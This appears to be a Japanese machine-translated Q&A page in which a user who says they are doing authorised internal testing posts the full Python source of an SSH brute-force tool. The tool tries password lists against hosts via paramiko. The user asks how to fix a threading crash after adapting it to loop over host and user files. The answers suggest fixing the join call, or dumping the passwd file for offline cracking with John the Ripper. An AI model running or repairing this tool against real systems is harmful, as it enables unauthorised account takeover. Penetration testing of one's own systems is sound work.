1

私は Python プログラマーではありませんが、完全に機能するコードの一部を取得しましたが、ファイルをループしてデータを取得し、同じタスクを実行するように変更する必要があります。どうやら正常に動作しますが、取得した最初の行の最後で次のようにクラッシュします。

python x.py -H SSH-Hosts.txt -U Users.txt -P passlist.txt

*************************************
*SSH Bruteforcer Ver. 0.2           *
*Coded by Christian Martorella      *
*Edge-Security Research             *
*laramies@gmail.com                 *
*************************************

Username file: Users.txt
Password file: passlist.txt
*************************************


HOST: 192.168.1.3
Username: bob
Trying password...
zzzzzz


Username: john
Trying password...

Traceback (most recent call last):
  File "x.py", line 146, in <module>
    test(sys.argv[1:])
  File "x.py", line 139, in test
    test_thread(name)
  File "x.py", line 81, in test_thread
    thread.join()
Zxcvbnm

このアプリケーションは、脆弱な SSH アカウントをテストする小さなツールです。最近、いくつかのブルート フォース攻撃の標的になり、それらすべてをブロックしましたが、アプリケーション (Medusa など) が利用可能であるため、定期的に脆弱なアカウントをテストしたいと考えています。私たちのシステムでは問題なく動作するこれを変更することにしましたが、ホストごとにホストを渡し、ユーザーごとにユーザーを渡すことは、私たちにとってあまり現実的ではありません。これは無許可のテストではありません。私は IT のメンバーであり、違反を防ぐために行っています。

import thread
import time
from threading import Thread
import sys, os, threading, time, traceback, getopt
import paramiko
import terminal

global adx
global port

adx="1"
port=22
data=[]
i=[]

term = terminal.TerminalController()
paramiko.util.log_to_file('demo.log')

print "\n*************************************"
print "*"+term.RED + "SSH Bruteforcer Ver. 0.2"+term.NORMAL+"           *"
print "*Coded by Christian Martorella      *"
print "*Edge-Security Research             *"
print "*laramies@gmail.com                 *"
print "*************************************\n"

def usage():
    print "Usage: brutessh.py options \n"
    print "       -H: file with hosts\n"
    print "       -U: file with usernames\n"
    print "       -P: password file \n"
    print "       -p: port (default 22) \n"
    print "       -t: threads (default 12, more could be bad)\n\n"
    print "Example:  brutessh.py -h 192.168.1.55 -u root -d mypasswordlist.txt \n"
    sys.exit()

class force(Thread):
    def __init__( self, name ):
        Thread.__init__(self)
        self.name = name

    def run(self):
        global adx
        if adx == "1":
            passw=self.name.split("\n")[0]
            t = paramiko.Transport(hostname)
            try:
                t.start_client()
            except Exception:
                x = 0

            try:
                t.auth_password(username=username,password=passw)
            except Exception:
                x = 0

            if t.is_authenticated():
                print term.DOWN + term.GREEN + "\nAuth OK ---> Password Found: " + passw + term.DOWN + term.NORMAL
                t.close()
                adx = "0"
            else:
                print term.BOL + term.UP + term.CLEAR_EOL + passw + term.NORMAL
                t.close()
        time.sleep(0)
        i[0]=i[0]-1


def test_thread(names):
    i.append(0)
    j=0
    while len(names):
        try:
            if i[0]<th:
                n = names.pop(0)
                i[0]=i[0]+1
                thread=force(n)
                thread.start()
                j=j+1
        except KeyboardInterrupt:
            print "Attack suspended by user..\n"
            sys.exit()
    thread.join()

def test(argv):
    global th
    global hostname
    global username
    th = 12
    if len(sys.argv) < 3:
        usage()
    try :
        opts, args = getopt.getopt(argv,"H:U:P:p:t:")
    except getopt.GetoptError:
        usage()
    for opt,arg in opts :
        if opt == '-U':
            username = arg
        elif opt == '-H':
            hostname =arg
        elif opt == '-P':
            password = arg
        elif opt == '-p':
            port = arg
        elif opt == "-t":
            th = arg

    try:
        h = open(hostname, 'r')
    except:
        print "Can't open file with hostnames\n"
        sys.exit()

    try:
        u = open(username, "r")
    except:
        print "Can't open username file\n"
        sys.exit()

    try:
        f = open(password, "r")
    except:
        print "Can't open password file\n"
        sys.exit()

    print term.RED + "Username file: " +term.NORMAL + username +  "\n" +term.RED + "Password file: " +term.NORMAL+ password
    print "*************************************\n\n"

    hostfile = h.readlines()
    for hostname in hostfile:

        print "HOST: " + hostname.rstrip('\n')
        userfile = u.readlines()
        for username in userfile:

            print "Username: " + username.rstrip('\n')

            print "Trying password...\n"
            name = f.readlines()
            #starttime = time.clock()
            test_thread(name)
            #stoptime = time.clock()
            #print "\nTimes -- > Init: "+ str(starttime) + " End: "+str(stoptime)
            print "\n"

if __name__ == "__main__":
    try:
        test(sys.argv[1:])
    except KeyboardInterrupt:
        print "Attack suspended by user...\n"
        sys.exit()

この問題を解決するにはどうすればよいですか?

ありがとうございました。

4

2 に答える 2

1

マシンにアクセスできるので、passwdファイルをダンプし、 JohntheRipperを使用して弱いアカウントを見つける方がはるかに良いでしょう。オフラインパスワード攻撃は、オンライン攻撃よりもはるかに高速です。また、 Fail2Banなどの実行を検討する必要があります。これにより、不正なIPをブロックすることでSSHブルートフォース攻撃が自動的にブロックされます。

于 2012-04-24T20:29:55.977 に答える
1
import thread
...
from threading import Thread

ほとんど同じ名前の 2 つのクラスをインポートすることにした理由がわかりません。危険なようです!

スレッドには結合呼び出しがありますが、スレッドにはないため、thread.join()ではなくThread.join()が必要だと思います。

于 2012-04-24T20:23:24.057 に答える